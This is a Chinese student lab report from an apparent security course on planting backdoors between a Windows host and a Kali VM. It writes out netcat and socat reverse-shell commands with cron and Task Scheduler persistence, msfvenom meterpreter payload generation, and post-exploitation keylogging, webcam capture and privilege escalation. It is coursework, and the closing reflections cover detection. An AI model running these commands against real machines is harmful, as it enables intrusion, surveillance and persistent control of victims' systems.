实验目录
- windows主机与kali虚拟机实现互联互通
- 使用netcat获取主机操作Shell,cron启动
- 使用socat获取主机操作Shell, 任务计划启动
- 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell,加分内容一并写入本实验报告
实验准备
- 后门:后门程序就是留在计算机系统中,供某位特殊使用者通过某种特殊方式控制计算机系统的途径。后门包括从简单到奇特,有很多的类型。简单的后门可能只是建立一个新的账号,或者接管一个很少使用的账号;复杂的后门(包括木马)可能会绕过系统的安全认证而对系统有安全存取权。例如一个login程序,当你输入特定的密码时,你就能以管理员的权限来存取系统。
- 工具储备: - meterpreter
- netcat(linux,一般自带)
- ncat(windows)
- socat
 
- cron: - cron是一个linux下 的定时执行工具 ,可以在无需人工干预的情况下运行作业。
- crontab -u //设定某个用户的cron服务,一般root 用户在执行 这个命令的时候需要此参数
- crontab -l //列出某个用户cron服务的详细内容
- crontab -r //删除 没个用户的cron服务
- crontab -e //编辑某个用户的cron服务
 
实验过程
windows主机与kali虚拟机实现互联互通
-  首先在win主机上下载ncat软件,并为其配置好环境变量,用于在cmd的使用 
-  打开虚拟机,输入指令 ifconfig,查看其IP地址,并ping一下win主机,观察是否能ping通- 在本实验中,win_IP:172.30.6.85,linux_ip:192.169.18.128
 
- 在本实验中,
-  上述几步是必要准备步骤,该项任务较为简单,不做过多赘述,接下来只需在一个系统开启监听端口,在另一台虚拟机开启请求连接即可 
-  windows开启监听端口: 
-    
-  kali发起连接请求: 
-    
使用netcat获取主机操作Shell,cron启动
Windows获得Linux的Shell
-  在windows上打开cmd,并通过ncat开放端口5221 
-  在linux上反弹连接win: nc 169.254.1.65 5221 -e /bin/sh
-    
-  当然除此ls命令,还可以使用mkdir、cp等常用命令 
-  使用cron开启Linux定时连接: 
-  crontab指令增加一条定时任务, -e表示编辑,接下来会进入编辑状态,在最后一行参照之前的格式加入一条自动执行netcat的指令即可,如下图
-    
-  设定57分时自动开启,所以当主机时间到了57分时,就可以获取kali的shell了 
-    
-  使用任务计划程序开启Windows定时连接: 
-  在 控制面板->管理工具->任务计划程序中添加任务
-  在“操作”中新建一个操作,写入参数: -e cmd.exe 192.168.6.85 5221
-    
-  然后可根据需要设置条件即可。 
Linux获得Windows的Shell
- 同上述操作,在linux下设置监听端口:nc -l -p 5221
- 在windows下请求连接:ncat 192.168.18.128 5221 -e cmd.exe
- 在linux下输入ipconfig查看主机IP:
-   
使用socat获取主机操作Shell, 任务计划启动
- 下载安装socat软件,下载地址
- 为其配置环境变量
- 在windows上开放5221端口,并把cmd的stderr重定向到stdout- socat tcp-listen:5221 exec:cmd,pty,stderr
 
- 在linux开启监听:socat - tcp:172.30.6.85:5221
- 如下图,可以发现成功连接到kali虚拟机:
-   
使用MSF meterpreter生成可执行文件
-  通过meterpreter生成后门程序: 20145221.exe- linux下输入指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.18.128 LPORT=80 -f exe > 20145221.exe
-   
 
- linux下输入指令:
-  接下来需要将这个后门程序传到我们的靶机上,可以通过ncat来实现 
-  首先我在win的cmd下使用 ncat.exe -lv 443 > 20145221.exe命令在443号端口进行监听
-  然后在Linux下使用 ncat -nv 172.20.10.2 443 < 20145221.exe命令把文件传送过去
-    
使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
-  MSF打开监听进程 - msfconsole:进入msf
- use exploit/multi/handler:进入handler模式
- set payload windows/meterpreter/reverse_tcp:设置payload
- show options:查看当前信息状态
- set LHOST 192.168.18.128:设置LHOST
- set LPORT 80:设置LPORT
- exploit:MSF开始监听
 
-    
-  在windows下打开运行 20145221.exe木马程序,此时杀毒软件可能会报毒,点击找回文件并添加到信任区即可,然后就可以在linux攻击机上取得靶机的shell了
-    
-  通过 help查看可以使用的指令:
-    
-  通过 screenshot进行屏幕截图:
-    
-  通过 getsystem提权:
-    
-  通过 keyscan_start和keyscan_dump来记录靶机的键盘输入:
-    
-  通过 webcam_snap捕捉键盘记录
-    
-  通过 run metsvc为主机安装一些系统服务
-    
可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell,加分内容一并写入本实验报告
- loading。。。
实验思考
例举你能想到的一个后门进入到你系统中的可能方式?
- 有时候我们需要下载一些工具软件,在网络中搜索时,往往靠前的匹配项不是官方提供的链接,当我们通过这样的第三方平台下载的软件,就很有可能通过我们的主动点击下载安装到自己的主机上,使自己的电脑感染木马病毒。
例举你知道的后门如何启动起来(win及linux)的方式?
- win:首先后门可能作为一个exe文件藏在我们的主机下,然后可以通过诱导用户主动点击、修改注册表、添加到开机自启动项、或者和我们常用的软件绑定在一起同时启动,具有很高的隐蔽性。
- linux:linux中可以通过crontab功能将木马设为定时启动,也可以通过对正常软件的绑定注入shellcode达到开启后门的目的。
Meterpreter有哪些给你映像深刻的功能?
- Meterpreter功能强大,一旦可以控制靶机,就可以实现许多功能,这些功能在本次实践中看似有趣,但是在现实生活中,却对我们的隐私和安全都是一大威胁。
- 比如,当我们在登录QQ时,如果木马已经启动,就可以监测我们键盘录入,窃取QQ密码;又比如,一些不法分子可以通过盗取主机权限入侵摄像头,对自身与家庭的隐私会有极大伤害。
如何发现自己有系统有没有被安装后门?
- 首先,我们可以通过计算机的入侵检测系统以及防火墙,对系统的行为有一个全面的检测,在一定程度上可以避免被装后门;
- 其次,可以通过杀毒防护软件对计算机进行保护,检查是否有后门,定期更新病毒库,养成查杀电脑的好习惯;
- 最后,我们可以手动查看任务计划程序、开机自启动项中查找有关可疑程序。